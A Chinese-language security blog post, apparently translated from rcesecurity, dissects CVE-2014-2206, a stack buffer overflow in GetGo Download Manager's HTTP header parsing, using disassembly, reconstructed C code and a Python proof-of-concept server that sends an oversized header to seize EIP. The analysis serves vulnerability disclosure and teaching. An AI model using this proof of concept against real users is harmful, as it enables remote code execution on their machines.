CVE-2014-2206:远程代码执行漏洞大剖析

2014-03-07 +9 144626人围观 ,发现 14 个不明物体 漏洞

前些时候我发布了一篇关于远程代码执行漏洞的安全公告,被CVSS评了10分。该漏洞影响所有版本的GetGo DownloadManager,因此如果有读者在使用这款软件话,请务必用一款更安全的软件代替,因为GetGo项目已经不再被支持了,但是其再在cnet.com网站仍然评级依然很高

本文简单介绍一下该bug的起因,并在打了全部补丁以及启用了DEP保护的Windows 7 64位系统上进行测试:

当向一个网站请求下载时,下载器会读取目标页面返回的HTTP响应头的值,并将该返回值保存到一块固定大小为4097字节的临时缓存中,但该尺寸并没有被用来限制拷贝到这块缓存中的输入的大小,只是将输入内容一个字节一个字节地拷贝到临时缓存中,直到遇到“\r\n”为止。因此如果HTTP响应头的大小超过了4097字节,就会被写到这块内存的界限之外了。

下面我们看一下这款下载器如何处理HTTP下载。

图1

当用户像上图一样请求下载时,调试器跳转到断点0x004A4CF4处,正是包含漏洞的代码部分的入口点:

004A4CDE   . 8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
004A4CE1   . 51             PUSH ECX                                 ; /Arg3
004A4CE2   . 68 01100000    PUSH 1001                                ; |Arg2 = 00001001
004A4CE7   . 8D95 DCEFFFFF  LEA EDX,DWORD PTR SS:[EBP-1024]          ; |
004A4CED   . 52             PUSH EDX                                 ; |Arg1
004A4CEE   . 8B8D 9CEFFFFF  MOV ECX,DWORD PTR SS:[EBP-1064]          ; |
004A4CF4   . E8 77EDFFFF    CALL GetGoDM.004A3A70                    ; \GetGoDM.004A3A70

该函数包含三个参数,将其转换为相应的c语言风格的函数调用,如下所示:

int vuln_func(void *buffer, size_t arg2, int arg3)

栈内包含三个参数,参数1位于缓存的0x0430C390处,参数2位于0×00001001处,参数3位于0×00000078处,如图2所示:

图2

小提示:本示例中你可以完全忽略参数3,因为该值只是用来表示ws2_32版本的select函数从socket中读取内容时的timeout时间:

图3

这里发生了什么?

在vuln_func()中,第一组重要的指令集为:

004A3A9F  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
004A3AA2  |. 50             PUSH EAX
004A3AA3  |. 6A 00          PUSH 0
004A3AA5  |. 8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
004A3AA8  |. 51             PUSH ECX
004A3AA9  |. E8 F2650400    CALL GetGoDM.004EA0A0

位于0x004A3AA9 的函数使用的三个参数,正是其被调用时,父函数传进来的三个函数。系统将这3个参数压入栈:

0430C2E4   0430C390  | arg1
0430C2E8   00000000  | arg2
0430C2EC   00001001  | arg3

该函数只相当于执行了一个简单的memset函数,因此函数调用如下所示:

void memset(void *arg1, int arg2, size_t arg3)

memset函数的功能很简单,用最多arg3个字节的unsigned char类型的数值(arg2)填充arg1指向的内存中,也就是说,地址0x430C390 指向的缓存空间被4097个0×00填充。

接下来对包含漏洞的代码部分进行分析:

图4

这里需要对漏洞的构成做一些详细解释,因此下文将程序的一个循环分成两部分进行说明:

Part 1 在HTTP响应头中读取一个字节

004A3AE3  |. 8B45 10        |MOV EAX,DWORD PTR SS:[EBP+10]
004A3AE6  |. 50             |PUSH EAX                                ; /Arg3
004A3AE7  |. 6A 01          |PUSH 1                                  ; |Arg2 = 00000001
004A3AE9  |. 8B4D F0        |MOV ECX,DWORD PTR SS:[EBP-10]           ; |
004A3AEC  |. 8B55 08        |MOV EDX,DWORD PTR SS:[EBP+8]            ; |
004A3AEF  |. 8D440A FF      |LEA EAX,DWORD PTR DS:[EDX+ECX-1]        ; |
004A3AF3  |. 50             |PUSH EAX                                ; |Arg1
004A3AF4  |. 8B4D D8        |MOV ECX,DWORD PTR SS:[EBP-28]           ; |
004A3AF7  |. 83C1 0C        |ADD ECX,0C                              ; |
004A3AFA  |. E8 81A4FFFF    |CALL GetGoDM.0049DF80                   ; \GetGoDM.0049DF80

地址0x004A3AFA 处的函数调用需要三个参数:

int read_byte(void *buffer, char *arg2, int arg3)

其中第一个参数arg1指向缓存,arg2总是0×00000001,arg3总是0×00000078。该函数从接收到的HTTP响应头中读取一个字节,如果成功,就把读取的值保存到arg1指向的缓存,并返回1。

结尾处的CMP指令用来判断读取是否成功,如果不成功就在0x004A3B0F处跳出循环。

004A3AFF  |. 8945 E8        |MOV DWORD PTR SS:[EBP-18],EAX
004A3B02  |. 837D E8 00     |CMP DWORD PTR SS:[EBP-18],0
004A3B06  |. 75 09          |JNZ SHORT GetGoDM.004A3B11
004A3B08  |. C745 EC 000000>|MOV DWORD PTR SS:[EBP-14],0
004A3B0F  |. EB 49          |JMP SHORT GetGoDM.004A3B5A

Part 2 对比接收的字符串,直到遇到“\r\n”

图5

004A3B26  |. 6A 00          |PUSH 0                              ; /Arg2 = 00000000
004A3B28  |. 68 F8D76600    |PUSH GetGoDM.0066D7F8               ; |Arg1 = 0066D7F8 ASCII "
"
004A3B2D  |. 8D4D E4        |LEA ECX,DWORD PTR SS:[EBP-1C]       ; |
004A3B30  |. E8 2B5AF6FF    |CALL GetGoDM.00409560               ; \GetGoDM.00409560

地址0x004A3B30 处的函数调用包含两个参数——参数1包含一个以“\r\n”结尾字符串,参数2总是0×00000000。同时该函数会从栈中读取已经接收的字节,并与“\r\n”进行比较:

0040959E  |. 0345 0C        ADD EAX,DWORD PTR SS:[EBP+C]             ; |
004095A1  |. 50             PUSH EAX                                 ; |Arg1
004095A2  |. E8 79120A00    CALL GetGoDM.004AA820                    ; \GetGoDM.004AA820

图6

因此该函数可以构造成如下形式: 

signed int search_teminator(*buffer, "\r\n", 0)

如果没有找到“\r\n”,则函数返回-1,并执行以下CMP指令:

004A3B38  |. 837D E0 FF     |CMP DWORD PTR SS:[EBP-20],-1
004A3B3C  |. 74 11          |JE SHORT GetGoDM.004A3B4F

即函数search_teminator()的返回值与-1比较,就是说如果JMP指令被执行了,表示以下指令也被程序执行了,包括利用JMP指令跳回到这段代码的开始部分:

004A3B4F  |> 8B55 F0        |MOV EDX,DWORD PTR SS:[EBP-10]
004A3B52  |. 83C2 01        |ADD EDX,1
004A3B55  |. 8955 F0        |MOV DWORD PTR SS:[EBP-10],EDX
004A3B58  |.^EB 80          \JMP SHORT GetGoDM.004A3ADA

但是如果函数search_terminator()找到“\r\n”,会返回字符串的位置,CMP指令就会返回错误,以下指令就会被执行,并跳出循环:

004A3B3E  |. 8B45 08        |MOV EAX,DWORD PTR SS:[EBP+8]
004A3B41  |. 0345 E0        |ADD EAX,DWORD PTR SS:[EBP-20]
004A3B44  |. C600 00        |MOV BYTE PTR DS:[EAX],0
004A3B47  |. 8B4D E0        |MOV ECX,DWORD PTR SS:[EBP-20]
004A3B4A  |. 894D EC        |MOV DWORD PTR SS:[EBP-14],ECX
004A3B4D  |. EB 0B          |JMP SHORT GetGoDM.004A3B5A

逆向工程

通过以上分析,可以将包含漏洞的代码转换为类似如下的C代码片段:

int vuln_func(void *buffer, size_t arg2, int arg3)
{
  int a;
  signed int b;
 
  memset(void *buffer, 0, arg2);
 
  while (1)
  {
    a = read_byte(*buffer, 1 , arg3)
    if ( !a )
    {
      goto fail;
    }
 
    b = search_terminator(*buffer, "\r\n", 0)
    if ( b != -1 )
      break;
  }
 
fail:
  return 0;
}

看出其中的问题了吗?表示大小的参数(arg2)被memset函数用来准备内存空间,但while循环中会读取响应头中的所有字节,直到找到“\r\n”为止,完全忽略了arg2。那么,如果攻击者可以构造出多于4097个字节的HTTP响应头,就会导致写入的缓存超过内存的边界,也就构成了基于栈的缓冲区溢出条件,导致远程代码执行。

构造PoC

以下PoC代码创建了一个简单的web服务器,用来响应超出预期大小的HTTP头:

from socket import *
from time import sleep
 
host = "192.168.0.1"
port = 80
 
s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port
 
cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]
 
payload = "\xCC" * 9000
 
buffer = "HTTP/1.1 200 "+payload+"\r\n"
 
print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"
 
sleep(1)
cl.close()
s.close()

控制了EIP,就可以随心所欲XXOO了。是不是很爽:-)!

图7

[via rcesecurity]

发表评论

已有 14 条评论

取消
Loading...
css.php